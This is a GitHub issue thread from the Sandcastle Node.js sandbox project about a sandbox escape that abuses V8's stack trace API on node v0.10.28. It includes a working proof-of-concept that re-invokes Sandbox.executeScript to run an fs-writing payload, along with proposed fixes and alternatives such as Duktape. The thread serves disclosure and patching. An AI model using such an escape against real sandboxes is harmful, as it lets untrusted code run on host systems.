Can JavaScriptStackTraceApi break sandcastle?

[dashed]

I looked at sandbox npm module while shopping for js sanboxes and noticed a filed issue: https://github.com/gf3/sandbox/issues/29.

I'm unsure as to the exact nature of the exploit using JavaScriptStackTraceApi to break the sandbox.

[bcoe]

@Dashed it would be good to create a test-case in exploit-test, that demonstrates this issue. I wonder what a good solution would be.

[dashed]

@bcoe Ok. So apparently I can break out of the sandbox, but only on node v0.10.28; which is the latest stable at the moment.

I was searching around on how to exploit stuff under "use strict"; mode and found an exploit from here: http://stackoverflow.com/questions/9777905/how-to-get-caller-from-strict-mode https://gist.github.com/Benvie/3719491

I merged the exploit detailed above into the exploit from https://github.com/bcoe/sandcastle/pull/21#issuecomment-31558999:

"use strict";
// courtesy of:
// https://gist.github.com/Benvie/3719491
var getStackframes = function x(a,b,c){function d(e,f){d=f}c=(b=Error)[a='prepareStackTrace'];b.captureStackTrace(b[a]=d,x);d.stack;b[a]=c;return d};

var payload = "var fs = require('fs');fs.writeFileSync('owned.txt', 'You could have been owned now\\n');exports.api = {};";

var jsonPayload = JSON.stringify({source:";exit('');", sourceAPI:payload});

// get frame at Sandbox.executeScript(connection, data)
getStackframes().forEach(function(frame) {
    if (frame.getFunctionName() != 'Sandbox.executeScript')
        return;

    frame.getFunction().call(frame.getThis(), null, jsonPayload);
    exit();
});

According to JavaScriptStackTraceApi docs: https://code.google.com/p/v8/wiki/JavaScriptStackTraceApi

The following was not enforced in node v0.10.28:

To maintain restrictions imposed on strict mode functions, frames that have a strict mode function and all frames below (its caller etc.) are not allow to access their receiver and function objects. For those frames, getFunction() and getThis() will return undefined.

I'm wondering if this exploit works in general with node.js vm module.

I'm using node v0.10.28 with v8 3.14.5.9 (latest stable at the time of writing this issue), where the exploit works.

However, trying this exploit in node v0.11.13 with v8 3.25.30 doesn't work since it's already been patched:

evalmachine.<anonymous>:16
    frame.getFunction().call(frame.getThis(), null, jsonPayload);
                       ^
TypeError: Cannot read property 'call' of undefined
    at evalmachine.<anonymous>:16:24

---

Other potential ways to break 'use strict' doesn't seem to break the sandbox: https://github.com/joyent/node/issues/7570 http://stackoverflow.com/questions/23484732/nodejs-methods-with-thisarg-and-use-strict-issue

[dashed]

It seems that doing the following would break this exploit:

delete Error.prepareStackTrace;
delete Error.captureStackTrace;

[dashed]

Ah. Deleting those functions doesn't resolve the issue in node v0.10.28:

var getStackframes = function () {
    var capture;

    Error.prepareStackTrace = function(e,t) {
        return t;
    };

    try {
        capture.error
    } catch (e) {
        capture = e.stack;
    }

    return capture;
};

[dashed]

I guess freezing Error object may work:

delete Error.prepareStackTrace;
delete Error.captureStackTrace;
Object.freeze(Error);

[ndob]

IMO, porting to C++ and serializing everything back and forth to the sandbox would be the best long term solution (as patching these constantly popping up exploits is not really feasible).

This would of course add a C++-compiler dependency to Sandcastle. Or alternatively platform specific precompiled binaries could be shipped in the package. But on the other hand shipping precompiled binaries causes more work and testing when releasing new versions. There are also some difficulties in handling differences in nodejs 0.10-stable and 0.11-unstable native API. This can be handled with nan pretty well, though.

I've done an initial implementation of this by substituting node's vm-module (V8-VM) with Duktape (which is by the way much faster to start up than full V8-context) and serializing all communications. Check the current state of duktape-node, if you are interested. At the moment there are some shortcomings though: No "global variables"-feature support, callbacks are more limited and no 0.11-unstable support to name a few.

[dashed]

@ndob Interesting suggestion. Will definitely check this out. An alternative, which I'm leaning towards to run user API scripts, is http://aetherjs.com/

[rehanift]

I wonder if it would be possible to easily patch V8 to not publicly expose the Stack Trace APIs. IIRC node can be built with a custom version of V8.

I assume that moving to something like Duktape would naturally be much safer but at the cost of drastically reducing the landscape which user code can run against (no building APIs on top of node APIs or node modules).

[bcoe]

@rehanift @Dashed @ndob as we find exploits, I'd like to write test cases in exploits-test.js so that we can confirm that we fix them, and not have regressions.

I agree that we'll probably never get the sandbox 100% secure. I think what would be good would be to have a deployment section of the README.md, that describes how to safely deploy the sandbox:

• don't run the sandbox as the root user.
• run it on its own server (one without secrets on it, and that is not running other critical services).

In the future I would be interested in looking at using something like Caja, or aetherjs.com, but It's a tradeoff; I'd love to provide a programming experience as close to vanilla Node.js as possible. Thoughts?

[ndob]

@rehanift Moving to Duktape doesn't prevent providing a API for user scripts to run against. Only the user script is running inside Duktape and provided API-functions are running on node (V8). So similar as the current Sandcastle-model. Communication between user script and API are serialized.

@bcoe Author of aetherjs pointed out, that running with aetherjs can slow down the script a lot.

I'm not at all familiar with either Caja or aether, so please correct me if I'm wrong :) : I did a quick glance to Caja and it seems like the server (for sanitizing user provided script) seems to be written in Java so porting that can be a bit problematic. Google's examples are using their own server, but I wouldn't want the sandboxing to depend on Google.

[rehanift]

@bcoe A while ago I started collecting pointers from the node.js mailing list on securing sandboxes: https://gist.github.com/rehanift/14cda03c79b1ae33c020. Its pretty raw, but perhaps we can start cultivating a wiki somewhere which outlines best practices of securing node.js sandboxes. There are a number of node.js sandbox projects now (I maintain engine.js) and I think we could all mutually benefit from sharing security best practices.

@ndob Since the API is running in Duktape and not node.js can it still leverage things like evented IO? My impression is that its purely a V8 VM, so the provided APIs would not be able to make use of node's standard library, etc. Am I missing something?

[ndob]

@rehanift I'm not sure if I understood correctly, so here's an minimal example which hopefully clarifies the situation with running scripts on Duktape. :)

var duktape = require('duktape');
var fs = require('fs');
var apiObject = {
    writeFile: function(content) {
      // This runs on node-v8
      fs.writeFileSync('file.txt', content);
    }
};
// This script runs on Duktape.
var userProvidedScript = "function writeTest() { writeFile('testing'); }";
duktape.runSync("writeTest", "", userProvidedScript, apiObject);

Registering Duktape-functions as callbacks to node should also be doable (in theory, at least :). Just requires a similar some kind of bridging and serializing parameters in C++ (similar as with above shown exposing API's to Duktape). I mean something like this:

var duktape = require('duktape');
var fs = require('fs');
var apiObject = {
    readFile: function(filename, callback) {
      fs.readFile(filename, callback);
    }
};
var userProvidedScript = "function readTest() { \
  readFile('testfile.txt', function(filecontent) { \
    // do something with file content \
  }); }";
duktape.runSync("readTest", "", userProvidedScript, apiObject);

ps. Thanks for sharing your notes!

[bcoe]

@ndob I'm definitely interested in trying out duktape. One interesting idea, what if you could set a flag on SandCastle that would execute scripts using duktape. A few questions come to my mind:

• how valuable is SandCastle, if it's just a thin wrapper on node-duktape -- it seems like node-duktape is close to providing a lot of the useful functionality that SandCastle provides.
• does Duktape have its own set of security concerns that we should be mindful of, I'd definitely need to read and better understand the project.

@rehanift thanks for sharing those pointers, I've been meaning to loop-around and cleanup some of the documentation for SandCastle... maybe a blog post on running SandBoxed JS code is in order :) plus updated documentation.

@Dashed as an immediate action item, I'd be interested in writing a test that exercises the Error exploit you outlined.

[dashed]

@bcoe By all means, go ahead. I'm suggesting the following patch. Thoughts?

delete Error.prepareStackTrace;
delete Error.captureStackTrace;
Object.freeze(Error);

[ndob]

@bcoe Yes, I've in fact done some testing of having a flag to choose which VM to use (node built-in or duktape). It's pretty straight forward: just a couple of lines to sandbox.js. The problem is, that at the moment duktape-node doesn't handle all the special cases supported by sandcastle (globals object, callbacks from API-functions back to user scripts running in duktape to name a couple), so it can't just be drop-in replaced.

IMO Sandcastle is valuable as duktape-node just provides the bridge to duktape-VM. It doesn't handle timeouts and running in different process for example.

Migrating to duktape (or any other VM for that matter) effectively solves the problem of escaping from VM to node-context. But of course migration can bring some different kinds of security issues. For example Duktape is currently at alpha-stage (though, the main author @svaarala seems to be constantly improving the code, so the project isn't dead or anything), so it mightn't be completely production ready security-wise.

[svaarala]

Hi, I'm not sure of the exact context here, but a few notes below on the current (unfinished) state of Duktape sandboxing:

Duktape provides essentially no built-ins which allow user code to "break out" of the Javascript environment. This is a consequence of portability: there are no standard I/O bindings, for instance. The program embedding Duktape can of course provide such bindings, and access to them must then be restricted. This can be achieved e.g. by deleting such bindings during setup of the restricted environment, after storing copies inside the closure of trusted functions (for instance). (I'd recommend deleting the 'Duktape' built-in as it provides functions to e.g. work with finalizers.)

The most straightforward way to sandbox a Javascript environment is to create a new "global context" using duk_push_thread_new_globalenv(). Such environments will be within the same garbage collection domain, can share references if necessary (although value serialization may be preferable), and have separate global objects. Creating such environments is quite cheap. One major missing part is support for forcibly interrupting stuck scripts, which is needed in many environments (and is being worked on).

At the moment Duktape has virtually no special support (beyond what's required by the Ecmascript standard) for isolating code which runs inside a single global context. It's more straightforward to use separate global contexts.

[dashed]

@svaarala AFAIK, the usual strategy is to run duktape (or some script runner like node.js's vm module) in a subprocess and have a simple setTimeout(...) function which will stop the script and do cleanup as necessary. This is how sandcastle handles long running scripts.

[Oceanswave]

One option might be to add in a pre-processing step that analyzes the incoming untrusted code for node.js globals using something like Esprima, and prevent the execution of the script...

Not the best solution, but an option.

Wish there was a simple wrapper around the V8 engine (without the NodeJS api) that was exposed to node to eliminate any sandboxing issues. Pie-in-the-sky it would use V8's profiling api and allow limits for CPU/Memory/Network/Etc...

[0o-de-lally]

@bcoe Any updates here looking forward to using this package.